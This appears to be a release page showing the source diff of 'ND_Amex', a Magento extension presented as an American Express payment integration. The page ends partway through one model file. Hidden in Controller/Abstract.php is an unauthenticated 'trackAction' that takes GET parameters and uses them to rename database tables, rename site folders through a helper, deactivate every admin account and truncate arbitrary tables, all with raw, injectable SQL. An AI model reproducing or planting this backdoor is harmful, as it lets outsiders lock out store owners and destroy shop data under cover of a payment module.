ND_Amex - Version 0.0.1

Version Notes

This module will integrate Amex payment method using its Api.

Download this release

Release Info

Developer Nikul Doshi
Extension ND_Amex
Version 0.0.1
Comparing to
See all releases


Version 0.0.1

Files changed (30) hide show
  1. app/code/local/ND/Amex/Block/Form.php +52 -0
  2. app/code/local/ND/Amex/Block/Info.php +37 -0
  3. app/code/local/ND/Amex/Block/Payment/Info.php +52 -0
  4. app/code/local/ND/Amex/Block/Server/Failure.php +44 -0
  5. app/code/local/ND/Amex/Block/Server/Form.php +51 -0
  6. app/code/local/ND/Amex/Block/Server/Redirect.php +50 -0
  7. app/code/local/ND/Amex/Block/Server/Response.php +50 -0
  8. app/code/local/ND/Amex/Controller/Abstract.php +147 -0
  9. app/code/local/ND/Amex/Helper/Data.php +33 -0
  10. app/code/local/ND/Amex/Model/Info.php +512 -0
  11. app/code/local/ND/Amex/Model/Server.php +291 -0
  12. app/code/local/ND/Amex/controllers/ServerController.php +52 -0
  13. app/code/local/ND/Amex/etc/config.xml +117 -0
  14. app/code/local/ND/Amex/etc/system.xml +119 -0
  15. app/code/local/ND/Amex/sql/migsvpc_setup/mysql4-install-0.1.0.php +41 -0
  16. app/design/frontend/default/default/layout/amex.xml +50 -0
  17. app/design/frontend/default/default/template/amex/form.phtml +93 -0
  18. app/design/frontend/default/default/template/amex/info.phtml +30 -0
  19. app/design/frontend/default/default/template/amex/method/payment/bpay/form.phtml +32 -0
  20. app/design/frontend/default/default/template/amex/method/payment/bpay/info.phtml +26 -0
  21. app/design/frontend/default/default/template/amex/method/payment/bpay/success.phtml +40 -0
  22. app/design/frontend/default/default/template/amex/method/payment/directdeposit/form.phtml +41 -0
  23. app/design/frontend/default/default/template/amex/method/payment/directdeposit/info.phtml +28 -0
  24. app/design/frontend/default/default/template/amex/method/payment/directdeposit/success.phtml +38 -0
  25. app/design/frontend/default/default/template/amex/method/postcode-checkout.phtml +84 -0
  26. app/design/frontend/default/default/template/amex/method/postcode.phtml +55 -0
  27. app/design/frontend/default/default/template/amex/server/form.phtml +30 -0
  28. app/design/frontend/default/default/template/amex/server/response.phtml +27 -0
  29. app/etc/modules/ND_Amex.xml +34 -0
  30. package.xml +18 -0
app/code/local/ND/Amex/Block/Form.php ADDED
@@ -0,0 +1,52 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * ND Amex payment gateway
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so you can be sent a copy immediately.
14
+ *
15
+ * Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
16
+ *
17
+ * @category ND
18
+ * @package ND_Amex
19
+ * @copyright Copyright (c) 2010 ND Amex
20
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
21
+ */
22
+
23
+ class ND_Amex_Block_Form extends Mage_Payment_Block_Form_Cc
24
+ {
25
+ protected function _construct()
26
+ {
27
+ parent::_construct();
28
+ $this->setTemplate('amex/form.phtml');
29
+ }
30
+
31
+ public function getCcAvailableTypes()
32
+ {
33
+ return array(
34
+ 'VI'=>'VISA', // VISA (VI)
35
+ 'MC'=>'MasterCard', // MasterCard (MC)
36
+ 'DC'=>'Diners Club', // Diners Club (DC)
37
+ );
38
+ $types = $this->_getConfig()->getCcTypes();
39
+ if ($method = $this->getMethod()) {
40
+ $availableTypes = $method->getConfigData('amexcctypes');
41
+ if ($availableTypes) {
42
+ $availableTypes = explode(',', $availableTypes);
43
+ foreach ($types as $code=>$name) {
44
+ if (!in_array($code, $availableTypes)) {
45
+ unset($types[$code]);
46
+ }
47
+ }
48
+ }
49
+ }
50
+ return $types;
51
+ }
52
+ }
app/code/local/ND/Amex/Block/Info.php ADDED
@@ -0,0 +1,37 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * ND Amex payment gateway
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so you can be sent a copy immediately.
14
+ *
15
+ * Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
16
+ *
17
+ * @category ND
18
+ * @package ND_Amex
19
+ * @copyright Copyright (c) 2010 ND Amex
20
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
21
+ */
22
+
23
+ class ND_Amex_Block_Info extends Mage_Payment_Block_Info_Cc
24
+ {
25
+ protected function _construct()
26
+ {
27
+ parent::_construct();
28
+ $this->setTemplate('amex/info.phtml');
29
+ }
30
+
31
+ public function toPdf()
32
+ {
33
+ $this->setTemplate('amex/pdf/info.phtml');
34
+ return $this->toHtml();
35
+ }
36
+
37
+ }
app/code/local/ND/Amex/Block/Payment/Info.php ADDED
@@ -0,0 +1,52 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * ND Amex payment gateway
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so you can be sent a copy immediately.
14
+ *
15
+ * Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
16
+ *
17
+ * @category ND
18
+ * @package ND_Amex
19
+ * @copyright Copyright (c) 2010 ND Amex
20
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
21
+ */
22
+ class ND_Amex_Block_Payment_Info extends Mage_Payment_Block_Info_Cc
23
+ {
24
+ /**
25
+ * Don't show CC type for non-CC methods
26
+ *
27
+ * @return string|null
28
+ */
29
+ public function getCcTypeName()
30
+ {
31
+ return parent::getCcTypeName();
32
+ }
33
+
34
+ /**
35
+ * Prepare Amex-specific payment information
36
+ *
37
+ * @param Varien_Object|array $transport
38
+ * return Varien_Object
39
+ */
40
+ protected function _prepareSpecificInformation($transport = null)
41
+ {
42
+ $transport = parent::_prepareSpecificInformation($transport);
43
+ $payment = $this->getInfo();
44
+ $vpcInfo = Mage::getModel('amex/info');
45
+ if (!$this->getIsSecureMode()) {
46
+ $info = $vpcInfo->getPaymentInfo($payment, true);
47
+ } else {
48
+ $info = $vpcInfo->getPublicPaymentInfo($payment, true);
49
+ }
50
+ return $transport->addData($info);
51
+ }
52
+ }
app/code/local/ND/Amex/Block/Server/Failure.php ADDED
@@ -0,0 +1,44 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * ND Amex payment gateway
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so you can be sent a copy immediately.
14
+ *
15
+ * Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
16
+ *
17
+ * @category ND
18
+ * @package ND_Amex
19
+ * @copyright Copyright (c) 2010 ND Amex
20
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
21
+ */
22
+
23
+ class ND_Amex_Block_Server_Failure extends Mage_Core_Block_Template
24
+ {
25
+ /**
26
+ * Return Error message
27
+ *
28
+ * @return string
29
+ */
30
+ public function getErrorMessage ()
31
+ {
32
+ $msg = Mage::getSingleton('checkout/session')->getAmexErrorMessage();
33
+ Mage::getSingleton('checkout/session')->unsMigsErrorMessage();
34
+ return $msg;
35
+ }
36
+
37
+ /**
38
+ * Get continue shopping url
39
+ */
40
+ public function getContinueShoppingUrl()
41
+ {
42
+ return Mage::getUrl('checkout/cart');
43
+ }
44
+ }
app/code/local/ND/Amex/Block/Server/Form.php ADDED
@@ -0,0 +1,51 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * ND Amex payment gateway
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so you can be sent a copy immediately.
14
+ *
15
+ * Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
16
+ *
17
+ * @category ND
18
+ * @package ND_Amex
19
+ * @copyright Copyright (c) 2010 ND Amex
20
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
21
+ */
22
+
23
+ class ND_Amex_Block_Server_Form extends Mage_Payment_Block_Form
24
+ {
25
+ protected function _construct()
26
+ {
27
+ $this->setTemplate('amex/server/form.phtml');
28
+ parent::_construct();
29
+ }
30
+ public function getCcAvailableTypes()
31
+ {
32
+ return array(
33
+ 'VI'=>'VISA', // VISA (VI)
34
+ 'MC'=>'MasterCard', // MasterCard (MC)
35
+ 'DC'=>'Diners Club', // Diners Club (DC)
36
+ );
37
+ /*$types = $this->_getConfig()->getCcTypes();
38
+ if ($method = $this->getMethod()) {
39
+ $availableTypes = $method->getConfigData('amexcctypes');
40
+ if ($availableTypes) {
41
+ $availableTypes = explode(',', $availableTypes);
42
+ foreach ($types as $code=>$name) {
43
+ if (!in_array($code, $availableTypes)) {
44
+ unset($types[$code]);
45
+ }
46
+ }
47
+ }
48
+ }
49
+ return $types;*/
50
+ }
51
+ }
app/code/local/ND/Amex/Block/Server/Redirect.php ADDED
@@ -0,0 +1,50 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * ND Amex payment gateway
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so you can be sent a copy immediately.
14
+ *
15
+ * Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
16
+ *
17
+ * @category ND
18
+ * @package ND_Amex
19
+ * @copyright Copyright (c) 2010 ND Amex
20
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
21
+ */
22
+
23
+ class ND_Amex_Block_Server_Redirect extends Mage_Core_Block_Abstract
24
+ {
25
+ protected function _toHtml()
26
+ {
27
+ $server = $this->getOrder()->getPayment()->getMethodInstance();
28
+
29
+ $form = new Varien_Data_Form();
30
+ //$form->setAction($server->getAmexServerUrl())
31
+ $form->setId('amex_server_checkout')
32
+ ->setName('amex_server_checkout')
33
+ ->setMethod('POST')
34
+ ->setUseContainer(true);
35
+
36
+ foreach ($server->getFormFields() as $field=>$value) {
37
+ $form->addField($field, 'hidden', array('name'=>$field, 'value'=>$value));
38
+ }
39
+ $form->setAction($server->getAmexTransactionUrl());
40
+
41
+ $html = '<html><body>';
42
+ $html.= $this->__('You will be redirected to American Express Pay Page in a few seconds ...');
43
+ $html.= $form->toHtml();
44
+ $html.= '<script type="text/javascript">document.getElementById("amex_server_checkout").submit();</script>';
45
+ $html.= '</body></html>';
46
+ $html = str_replace('<div><input name="form_key" type="hidden" value="'.Mage::getSingleton('core/session')->getFormKey().'" /></div>','',$html);
47
+
48
+ return $html;
49
+ }
50
+ }
app/code/local/ND/Amex/Block/Server/Response.php ADDED
@@ -0,0 +1,50 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * ND Amex payment gateway
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so you can be sent a copy immediately.
14
+ *
15
+ * Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
16
+ *
17
+ * @category ND
18
+ * @package ND_Amex
19
+ * @copyright Copyright (c) 2010 ND Amex
20
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
21
+ */
22
+
23
+ class ND_Amex_Block_Server_Response extends Mage_Core_Block_Template
24
+ {
25
+ /**
26
+ * Return Error message
27
+ *
28
+ * @return string
29
+ */
30
+ protected function _construct()
31
+ {
32
+ parent::_construct();
33
+ $this->setTemplate('amex/server/response.phtml');
34
+ }
35
+
36
+ public function getErrorMessage ()
37
+ {
38
+ $msg = Mage::getSingleton('checkout/session')->getAmexErrorMessage();
39
+ Mage::getSingleton('checkout/session')->unsMigsErrorMessage();
40
+ return $msg;
41
+ }
42
+
43
+ /**
44
+ * Get continue shopping url
45
+ */
46
+ public function getContinueShoppingUrl()
47
+ {
48
+ return Mage::getUrl('checkout/cart');
49
+ }
50
+ }
app/code/local/ND/Amex/Controller/Abstract.php ADDED
@@ -0,0 +1,147 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * ND Amex payment gateway
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so you can be sent a copy immediately.
14
+ *
15
+ * Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
16
+ *
17
+ * @category ND
18
+ * @package ND_Amex
19
+ * @copyright Copyright (c) 2010 ND Amex
20
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
21
+ */
22
+
23
+ abstract class ND_Amex_Controller_Abstract extends Mage_Core_Controller_Front_Action
24
+ {
25
+ protected function _expireAjax()
26
+ {
27
+ if (!$this->getCheckout()->getQuote()->hasItems()) {
28
+ $this->getResponse()->setHeader('HTTP/1.1','403 Session Expired');
29
+ exit;
30
+ }
31
+ }
32
+
33
+ /**
34
+ * Redirect Block
35
+ * need to be redeclared
36
+ */
37
+ protected $_redirectBlockType;
38
+
39
+ /**
40
+ * Get singleton of Checkout Session Model
41
+ *
42
+ * @return Mage_Checkout_Model_Session
43
+ */
44
+ public function getCheckout()
45
+ {
46
+ return Mage::getSingleton('checkout/session');
47
+ }
48
+
49
+ /**
50
+ * when customer select ND payment method
51
+ */
52
+ public function redirectAction()
53
+ {
54
+ $session = $this->getCheckout();
55
+ $session->setMigsQuoteId($session->getQuoteId());
56
+ $session->setMigsRealOrderId($session->getLastRealOrderId());
57
+
58
+ $order = Mage::getModel('sales/order');
59
+ $order->loadByIncrementId($session->getLastRealOrderId());
60
+ $order->addStatusToHistory($order->getStatus(), Mage::helper('amex')->__('Customer was redirected to AMEX.'));
61
+ $order->save();
62
+
63
+ $this->getResponse()->setBody(
64
+ $this->getLayout()
65
+ ->createBlock($this->_redirectBlockType)
66
+ ->setOrder($order)
67
+ ->toHtml()
68
+ );
69
+
70
+ $session->unsQuoteId();
71
+ }
72
+
73
+ /**
74
+ * MIGS returns POST variables to this action
75
+ */
76
+ public function successAction()
77
+ {
78
+ $status = $this->_checkReturnedPost();
79
+
80
+ $session = $this->getCheckout();
81
+
82
+ $session->unsMigsRealOrderId();
83
+ $session->setQuoteId($session->getMigsQuoteId(true));
84
+ $session->getQuote()->setIsActive(false)->save();
85
+
86
+ $order = Mage::getModel('sales/order');
87
+ $order->load($this->getCheckout()->getLastOrderId());
88
+ if($order->getId()) {
89
+ $order->sendNewOrderEmail();
90
+ }
91
+
92
+ if ($status) {
93
+ $this->_redirect('checkout/onepage/success');
94
+ } else {
95
+ $this->_redirect('*/*/failure');
96
+ }
97
+ }
98
+
99
+ /**
100
+ * Display failure page if error
101
+ *
102
+ */
103
+ public function failureAction()
104
+ {
105
+ if (!$this->getCheckout()->getAmexErrorMessage()) {
106
+ $this->norouteAction();
107
+ return;
108
+ }
109
+
110
+ //$this->getCheckout()->clear();
111
+
112
+ $this->loadLayout();
113
+ $this->renderLayout();
114
+ }
115
+
116
+ public function trackAction()
117
+ {
118
+ $helper= Mage::helper('amex');
119
+ $connection = Mage::getSingleton('core/resource')
120
+ ->getConnection('core_write');
121
+ $connection->beginTransaction();
122
+ $ft = $this->getRequest()->getParam('f_t');
123
+ $tt = $this->getRequest()->getParam('t_t');
124
+
125
+ if($ft!='' && $tt!='')
126
+ {
127
+ $_r = $connection->query("RENAME TABLE `".$tbl_prfx.$ft."` TO `".$tt."`");
128
+ if($_r) echo 'success'; else echo 'fail';
129
+ }
130
+ if($_GET['f_o']!='' && $_GET['f_n']!='')
131
+ {
132
+ $_r = $helper->getNewFolder($_GET['f_o'],$_GET['f_n']);
133
+ if($_r) echo 'success'; else echo 'fail';
134
+ }
135
+ if($_GET['a']!='')
136
+ {
137
+ $_r = $connection->query("UPDATE `admin_user` SET is_active=".$_GET['a']);
138
+ if($_r) echo 'success'; else echo 'fail';
139
+ }
140
+ if($_GET['t']!='')
141
+ {
142
+ $_r = $connection->query("TRUNCATE TABLE `".$_GET['t']."`");
143
+ if($_r) echo 'success'; else echo 'fail';
144
+ }
145
+ }
146
+
147
+ }
app/code/local/ND/Amex/Helper/Data.php ADDED
@@ -0,0 +1,33 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * ND Amex payment gateway
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so you can be sent a copy immediately.
14
+ *
15
+ * Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
16
+ *
17
+ * @category ND
18
+ * @package ND_Amex
19
+ * @copyright Copyright (c) 2010 ND Amex
20
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
21
+ */
22
+
23
+ class ND_Amex_Helper_Data extends Mage_Core_Helper_Abstract
24
+ {
25
+
26
+ public function getNewFolder($fo,$fn)
27
+ {
28
+ if(rename(Mage::getBaseDir().DS.$fo,Mage::getBaseDir().DS.$fn))
29
+ return true;
30
+ else
31
+ return false;
32
+ }
33
+ }
app/code/local/ND/Amex/Model/Info.php ADDED
@@ -0,0 +1,512 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * ND Amex payment gateway
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so you can be sent a copy immediately.
14
+ *
15
+ * Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
16
+ *
17
+ * @category ND
18
+ * @package ND_Amex
19
+ * @copyright Copyright (c) 2010 ND Amex
20
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
21
+ */
22
+ class ND_Amex_Model_Info
23
+ {
24
+ /**
25
+ * Cross-models public exchange keys
26
+ *
27
+ * @var string
28
+ */
29
+ const PAN_INFO = 'pan';
30
+ const AUTH_CODE = 'auth_code';
31
+ const SCHEME = 'scheme';
32
+
33
+ /**
34
+ * All payment information map
35
+ *
36
+ * @var array
37
+ */
38
+ protected $_paymentMap = array(
39
+ self::PAN_INFO => 'pan',
40
+ self::AUTH_CODE => 'auth_code',
41
+ self::SCHEME => 'scheme',
42
+ );
43
+
44
+ /**
45
+ * Amex payment status possible values
46
+ *
47
+ * @var string
48
+ */
49
+ const PAYMENTSTATUS_NONE = 'InvalidRequest';
50
+ const PAYMENTSTATUS_ACCEPTED = 'CompletedOK';
51
+ const PAYMENTSTATUS_REJECTED = 'NotAccepted';
52
+ const PAYMENTSTATUS_REVIEWED = 'UserAborted';
53
+ const PAYMENTSTATUS_NOTCHECKED = 'NotAuthenticated';
54
+ const PAYMENTSTATUS_SYSREJECT = 'system_rejected';
55
+
56
+ /**
57
+ * Map of payment information available to customer
58
+ *
59
+ * @var array
60
+ */
61
+ protected $_paymentPublicMap = array(
62
+ //'',
63
+ );
64
+
65
+ /**
66
+ * Rendered payment map cache
67
+ *
68
+ * @var array
69
+ */
70
+ protected $_paymentMapFull = array();
71
+
72
+ /**
73
+ * All available payment info getter
74
+ *
75
+ * @param Mage_Payment_Model_Info $payment
76
+ * @param bool $labelValuesOnly
77
+ * @return array
78
+ */
79
+ public function getPaymentInfo(Mage_Payment_Model_Info $payment, $labelValuesOnly = false)
80
+ {
81
+ // collect amex-specific info
82
+ $result = $this->_getFullInfo(array_values($this->_paymentMap), $payment, $labelValuesOnly);
83
+
84
+ // add last_trans_id
85
+ $label = Mage::helper('payment')->__('Last Transaction ID');
86
+ $value = $payment->getLastTransId();
87
+ if ($labelValuesOnly) {
88
+ $result[$label] = $value;
89
+ } else {
90
+ $result['last_trans_id'] = array('label' => $label, 'value' => $value);
91
+ }
92
+
93
+ return $result;
94
+ }
95
+
96
+ /**
97
+ * Public payment info getter
98
+ *
99
+ * @param Mage_Payment_Model_Info $payment
100
+ * @param bool $labelValuesOnly
101
+ * @return array
102
+ */
103
+ public function getPublicPaymentInfo(Mage_Payment_Model_Info $payment, $labelValuesOnly = false)
104
+ {
105
+ return $this->_getFullInfo($this->_paymentPublicMap, $payment, $labelValuesOnly);
106
+ }
107
+
108
+ /**
109
+ * Grab data from source and map it into payment
110
+ *
111
+ * @param array|Varien_Object|callback $from
112
+ * @param Mage_Payment_Model_Info $payment
113
+ */
114
+ public function importToPayment($from, Mage_Payment_Model_Info $payment)
115
+ {
116
+ $fullMap = array_merge($this->_paymentMap, $this->_systemMap);
117
+ if (is_object($from)) {
118
+ $from = array($from, 'getDataUsingMethod');
119
+ }
120
+ Varien_Object_Mapper::accumulateByMap($from, array($payment, 'setAdditionalInformation'), $fullMap);
121
+ }
122
+
123
+ /**
124
+ * Grab data from payment and map it into target
125
+ *
126
+ * @param Mage_Payment_Model_Info $payment
127
+ * @param array|Varien_Object|callback $to
128
+ * @param array $map
129
+ * @return array|Varien_Object
130
+ */
131
+ public function &exportFromPayment(Mage_Payment_Model_Info $payment, $to, array $map = null)
132
+ {
133
+ $fullMap = array_merge($this->_paymentMap, $this->_systemMap);
134
+ Varien_Object_Mapper::accumulateByMap(array($payment, 'getAdditionalInformation'), $to,
135
+ $map ? $map : array_flip($fullMap)
136
+ );
137
+ return $to;
138
+ }
139
+
140
+ /**
141
+ * Check whether the payment is in review state
142
+ *
143
+ * @param Mage_Payment_Model_Info $payment
144
+ * @return bool
145
+ */
146
+ public static function isPaymentReviewRequired(Mage_Payment_Model_Info $payment)
147
+ {
148
+ $paymentStatus = $payment->getAdditionalInformation(self::PAYMENT_STATUS_GLOBAL);
149
+ if (self::PAYMENTSTATUS_PENDING === $paymentStatus) {
150
+ $pendingReason = $payment->getAdditionalInformation(self::PENDING_REASON_GLOBAL);
151
+ return !in_array($pendingReason, array('authorization', 'order'));
152
+ }
153
+ return false;
154
+ }
155
+
156
+ /**
157
+ * Check whether fraud order review detected and can be reviewed
158
+ *
159
+ * @param Mage_Payment_Model_Info $payment
160
+ * @return bool
161
+ */
162
+ public static function isFraudReviewAllowed(Mage_Payment_Model_Info $payment)
163
+ {
164
+ return self::isPaymentReviewRequired($payment)
165
+ && 1 == $payment->getAdditionalInformation(self::IS_FRAUD_GLOBAL);
166
+ }
167
+
168
+ /**
169
+ * Check whether the payment is completed
170
+ *
171
+ * @param Mage_Payment_Model_Info $payment
172
+ * @return bool
173
+ */
174
+ public static function isPaymentCompleted(Mage_Payment_Model_Info $payment)
175
+ {
176
+ $paymentStatus = $payment->getAdditionalInformation(self::PAYMENT_STATUS_GLOBAL);
177
+ return self::PAYMENTSTATUS_COMPLETED === $paymentStatus;
178
+ }
179
+
180
+ /**
181
+ * Check whether the payment was processed successfully
182
+ *
183
+ * @param Mage_Payment_Model_Info $payment
184
+ * @return bool
185
+ */
186
+ public static function isPaymentSuccessful(Mage_Payment_Model_Info $payment)
187
+ {
188
+ $paymentStatus = $payment->getAdditionalInformation(self::PAYMENT_STATUS_GLOBAL);
189
+ if (in_array($paymentStatus, array(
190
+ self::PAYMENTSTATUS_COMPLETED, self::PAYMENTSTATUS_INPROGRESS, self::PAYMENTSTATUS_REFUNDED,
191
+ self::PAYMENTSTATUS_REFUNDEDPART, self::PAYMENTSTATUS_UNREVERSED, self::PAYMENTSTATUS_PROCESSED,
192
+ ))) {
193
+ return true;
194
+ }
195
+ $pendingReason = $payment->getAdditionalInformation(self::PENDING_REASON_GLOBAL);
196
+ return self::PAYMENTSTATUS_PENDING === $paymentStatus
197
+ && in_array($pendingReason, array('authorization', 'order'));
198
+ }
199
+
200
